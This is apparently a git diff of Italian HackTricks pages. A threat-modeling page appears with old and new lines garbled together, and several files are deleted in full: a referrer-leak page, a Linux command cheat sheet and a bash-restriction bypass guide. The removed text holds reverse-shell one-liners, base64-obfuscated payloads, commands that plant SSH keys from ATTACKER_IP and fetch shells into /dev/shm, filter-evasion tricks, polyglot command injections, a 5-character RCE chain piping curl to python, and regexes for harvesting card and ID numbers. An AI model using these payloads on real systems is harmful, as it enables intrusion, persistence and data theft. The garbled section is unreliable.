1. **Sviluppo Software**: Come parte del Ciclo di Vita dello Sviluppo Software Sicuro (SSDLC), il modello di minaccia aiuta a **identificare le potenziali fonti di vulnerabilità** nelle fasi iniziali dello sviluppo.
2. **Penetration Testing**: Il framework del Penetration Testing Execution Standard (PTES) richiede **il modello di minaccia per comprendere le vulnerabilità del sistema** prima di eseguire il test.
### Commonly Used Scenarios
### Modello di Minaccia in Breve
1. **Sviluppo Software**: Come parte del Ciclo di Vita dello Sviluppo Software Sicuro (SSDLC), il threat modeling aiuta a **identificare potenziali fonti di vulnerabilità** nelle fasi iniziali dello sviluppo.
2. **Penetration Testing**: Il framework del Penetration Testing Execution Standard (PTES) richiede **il threat modeling per comprendere le vulnerabilità del sistema** prima di eseguire il test.
Un Modello di Minaccia è tipicamente rappresentato come un diagramma, un'immagine o un'altra forma di illustrazione visiva che descrive l'architettura pianificata o la costruzione esistente di un'applicazione. Assomiglia a un **diagramma di flusso dei dati**, ma la principale distinzione risiede nel suo design orientato alla sicurezza.
### Threat Model in a Nutshell
I modelli di minaccia presentano spesso elementi contrassegnati in rosso, che simboleggiano potenziali vulnerabilità, rischi o barriere. Per semplificare il processo di identificazione dei rischi, viene impiegato il triade CIA (Riservatezza, Integrità, Disponibilità), che forma la base di molte metodologie di modellazione delle minacce, con STRIDE che è una delle più comuni. Tuttavia, la metodologia scelta può variare a seconda del contesto specifico e dei requisiti.
Un Threat Model è tipicamente rappresentato come un diagramma, un'immagine o un'altra forma di illustrazione visiva che descrive l'architettura pianificata o la costruzione esistente di un'applicazione. Somiglia a un **diagramma di flusso dei dati**, ma la principale distinzione risiede nel suo design orientato alla sicurezza.
### La Triade CIA
I threat model presentano spesso elementi contrassegnati in rosso, che simboleggiano potenziali vulnerabilità, rischi o barriere. Per semplificare il processo di identificazione dei rischi, viene impiegato il triade CIA (Confidenzialità, Integrità, Disponibilità), che forma la base di molte metodologie di threat modeling, con STRIDE che è una delle più comuni. Tuttavia, la metodologia scelta può variare a seconda del contesto specifico e dei requisiti.
La Triade CIA è un modello ampiamente riconosciuto nel campo della sicurezza delle informazioni, che sta per Riservatezza, Integrità e Disponibilità. Questi tre pilastri formano la base su cui sono costruite molte misure e politiche di sicurezza, comprese le metodologie di modellazione delle minacce.
### The CIA Triad
1. **Riservatezza**: Garantire che i dati o il sistema non siano accessibili da individui non autorizzati. Questo è un aspetto centrale della sicurezza, che richiede controlli di accesso appropriati, crittografia e altre misure per prevenire le violazioni dei dati.
La triade CIA è un modello ampiamente riconosciuto nel campo della sicurezza delle informazioni, che sta per Confidenzialità, Integrità e Disponibilità. Questi tre pilastri formano la base su cui sono costruite molte misure e politiche di sicurezza, comprese le metodologie di threat modeling.
1. **Confidenzialità**: Garantire che i dati o il sistema non siano accessibili da parte di individui non autorizzati. Questo è un aspetto centrale della sicurezza, che richiede controlli di accesso appropriati, crittografia e altre misure per prevenire le violazioni dei dati.
2. **Integrità**: L'accuratezza, la coerenza e l'affidabilità dei dati nel loro ciclo di vita. Questo principio garantisce che i dati non vengano alterati o manomessi da parti non autorizzate. Spesso coinvolge checksum, hashing e altri metodi di verifica dei dati.
3. **Disponibilità**: Questo garantisce che i dati e i servizi siano accessibili agli utenti autorizzati quando necessario. Questo spesso implica ridondanza, tolleranza ai guasti e configurazioni ad alta disponibilità per mantenere i sistemi operativi anche di fronte a interruzioni.
### Metodologie di Modellazione delle Minacce
### Threat Modeling Methodlogies
1. **STRIDE**: Sviluppato da Microsoft, STRIDE è un acronimo per **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Ogni categoria rappresenta un tipo di minaccia, e questa metodologia è comunemente utilizzata nella fase di design di un programma o sistema per identificare potenziali minacce.
2. **DREAD**: Questa è un'altra metodologia di Microsoft utilizzata per la valutazione del rischio delle minacce identificate. DREAD sta per **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Ognuno di questi fattori viene valutato, e il risultato viene utilizzato per dare priorità alle minacce identificate.
@ -32,15 +34,15 @@ La Triade CIA è un modello ampiamente riconosciuto nel campo della sicurezza de
5. **VAST** (Visual, Agile, and Simple Threat modeling): Questo approccio mira a essere più accessibile e si integra negli ambienti di sviluppo Agile. Combina elementi delle altre metodologie e si concentra su **rappresentazioni visive delle minacce**.
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Sviluppato dal CERT Coordination Center, questo framework è orientato verso **la valutazione del rischio organizzativo piuttosto che sistemi o software specifici**.
## Strumenti
## Tools
Ci sono diversi strumenti e soluzioni software disponibili che possono **assistere** nella creazione e gestione dei modelli di minaccia. Ecco alcuni che potresti considerare.
Ci sono diversi strumenti e soluzioni software disponibili che possono **assistere** nella creazione e gestione dei threat model. Ecco alcuni che potresti considerare.
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
Un avanzato spider/crawler GUI multipiattaforma e multifunzionale per professionisti della cybersecurity. Spider Suite può essere utilizzato per la mappatura e l'analisi della superficie di attacco.
**Utilizzo**
**Usage**
1. Scegli un URL e Crawla
@ -54,7 +56,7 @@ Un avanzato spider/crawler GUI multipiattaforma e multifunzionale per profession
Un progetto open-source di OWASP, Threat Dragon è sia un'applicazione web che desktop che include diagrammi di sistema e un motore di regole per generare automaticamente minacce/mitigazioni.
**Utilizzo**
**Usage**
1. Crea Nuovo Progetto
@ -68,7 +70,7 @@ A volte potrebbe apparire così:
<figure><img src="../images/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
3. Salva il Nuovo Progetto
3. Salva Il Nuovo Progetto
<figure><img src="../images/save_new_project.jpg" alt=""><figcaption></figcaption></figure>
@ -84,7 +86,7 @@ Solo un po' di spiegazione sulle entità:
- Attore (Una persona come un visitatore del sito, utente o amministratore)
- Linea di Flusso Dati (Indicatore di interazione)
- Confine di Fiducia (Segmenti o ambiti di rete diversi.)
- Archiviazione (Luoghi dove i dati sono memorizzati come Database)
- Archiviazione (Luoghi dove i dati sono archiviati come Database)
5. Crea una Minaccia (Passo 1)
@ -96,16 +98,19 @@ Ora puoi creare la minaccia
<figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Tieni presente che c'è una differenza tra Minacce agli Attori e Minacce ai Processi. Se aggiungi una minaccia a un Attore, potrai scegliere solo "Spoofing" e "Repudiation". Tuttavia, nel nostro esempio aggiungiamo una minaccia a un'entità di Processo, quindi vedremo questo nella casella di creazione della minaccia:
Tieni presente che c'è una differenza tra Minacce degli Attori e Minacce dei Processi. Se aggiungi una minaccia a un Attore, potrai scegliere solo "Spoofing" e "Repudiation". Tuttavia, nel nostro esempio aggiungiamo una minaccia a un'entità di Processo, quindi vedremo questo nella casella di creazione della minaccia:
<figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. Fatto
Ora il tuo modello finito dovrebbe apparire così. E questo è come crei un semplice modello di minaccia con OWASP Threat Dragon.
Ora il tuo modello finito dovrebbe apparire così. E questo è come crei un semplice threat model con OWASP Threat Dragon.
<figure><img src="../images/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
Questo è uno strumento gratuito di Microsoft che aiuta a trovare minacce nella fase di design dei progetti software. Utilizza la metodologia STRIDE ed è particolarmente adatto per coloro che sviluppano sulla piattaforma Microsoft.
Questo è uno strumento gratuito di Microsoft che aiuta a trovare minacce nella fase di design dei progetti software. Utilizza la metodologia STRIDE ed è particolarmente adatto per coloro che sviluppano sulla stack di Microsoft.
{{#include /banners/hacktricks-training.md}}

BIN
src/images/cyberhelmets-logo.png
View File

Binary file not shown.
Side by Side Swipe Overlay

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 16 KiB

35
src/interesting-http.md
View File

@ -1,35 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Intestazioni e politiche del referrer
Il referrer è l'intestazione utilizzata dai browser per indicare quale fosse la pagina precedente visitata.
## Informazioni sensibili trapelate
Se in un certo momento all'interno di una pagina web qualsiasi informazione sensibile si trova nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare (ingegneria sociale) all'utente un URL controllato dall'attaccante. Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET.
## Mitigazione
Puoi far seguire al browser una **Referrer-policy** che potrebbe **evitare** che le informazioni sensibili vengano inviate ad altre applicazioni web:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```
## Contromisure
Puoi sovrascrivere questa regola utilizzando un tag meta HTML (l'attaccante deve sfruttare un'iniezione HTML):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## Difesa
Non inserire mai dati sensibili all'interno dei parametri GET o dei percorsi nell'URL.
{{#include ./banners/hacktricks-training.md}}

297
src/linux-hardening/useful-linux-commands/README.md
View File

@ -1,297 +0,0 @@
# Comandi Linux Utili
{{#include ../../banners/hacktricks-training.md}}
## Bash Comuni
```bash
#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
#Echo without new line and Hex
echo -n -e
#Count
wc -l <file> #Lines
wc -c #Chars
#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker
#Clipboard
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
#Curl
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101
# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
## Bash per Windows
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
#Exe compression
upx -9 nc.exe
#Exe2bat
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
#Extract passwords
grep -i "pwd\|passw" file.txt
#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt
# Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
# Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
# Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Trova
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
# Find SGID set files.
find / -perm /g=s -ls 2>/dev/null
# Found Readable directory and sort by time. (depth = 4)
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Writable directory and sort by time. (depth = 10)
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current User and sort by time. (depth = 10)
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Newer files and sort by time. (depth = 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer files only and sort by time. (depth = 5)
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Aiuto per la ricerca Nmap
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}

319
src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
View File

@ -1,319 +0,0 @@
# Bypass Linux Restrictions
{{#include ../../banners/hacktricks-training.md}}
## Bypass delle Limitazioni Comuni
### Reverse Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Shell Rev breve
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths e parole vietate
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash e slash
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass con codifica esadecimale
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Esfiltrazione di dati basata sul tempo
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Ottenere caratteri dalle variabili d'ambiente
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS data exfiltration
Puoi usare **burpcollab** o [**pingb**](http://pingb.in) per esempio.
### Builtins
Nel caso in cui non puoi eseguire funzioni esterne e hai solo accesso a un **insieme limitato di builtins per ottenere RCE**, ci sono alcuni trucchi utili per farlo. Di solito **non sarai in grado di usare tutti** i **builtins**, quindi dovresti **conoscere tutte le tue opzioni** per cercare di bypassare la jail. Idea da [**devploit**](https://twitter.com/devploit).\
Prima di tutto controlla tutti i [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Poi qui hai alcune **raccomandazioni**:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Iniezione di comandi poliglotta
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypassare potenziali regex
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE con 5 caratteri
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
